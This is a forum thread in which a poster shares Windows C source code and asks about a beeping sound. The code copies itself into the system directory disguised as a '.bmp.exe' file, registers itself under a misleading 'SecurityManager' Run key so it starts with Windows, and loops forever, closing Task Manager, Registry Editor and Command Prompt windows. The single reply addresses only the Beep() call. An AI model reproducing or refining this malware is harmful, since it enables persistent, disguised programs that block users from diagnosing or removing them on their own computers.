Start New Discussion within our Software Development Community
#include "stdafx.h"
#include "windows.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    HKEY hKey;
    char sd[255];
    char path[MAX_PATH];
    int Freq = 0;
    int Duration = 100;
    bool Forwards = true;
    bool Backwards = false;
    int timer = 0;
    HWND hWin;
    HMODULE GetModH = GetModuleHandle(0);
    GetModuleFileName(GetModH, path, 256);

    GetSystemDirectory(sd,255);

    strcat(sd,"\\Blue Corral.bmp.exe");
    CopyFile(path,sd,FALSE);
    unsigned char PathToFile[20] = "Blue Corral.bmp.exe";

    RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
    RegSetValueEx(hKey, SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile));
    RegCloseKey(hKey);

    while(1==1)
  {

    hWin = FindWindow(NULL,"Windows Task Manager");
    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

    hWin = FindWindow(NULL,"Registry Editor");
    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

    hWin = FindWindow(NULL,"Command Prompt");
    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

    hWin = FindWindow(NULL,"Close Program");
    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

    if(Backwards==true)
    {
    Beep(Freq,Duration);
    Freq = Freq - 100;
    timer = timer - 1;
    }
    if (timer == 0)
    {
    Backwards = false;
    Forwards = true;
    }

    if (timer == 30)
    {
    Backwards = true;
    Forwards = false;
    }
    if(Forwards==true)
    {
    Beep(Freq,Duration);
    Freq = Freq + 100;
    timer = timer + 1;
    }
  }
    return 0;
}

Use code tags, and your mystery sound is the Beep() function. while(1==1){} is calling your beep function very fast, that is the problem.

This article has been dead for over six months. Start a new discussion instead.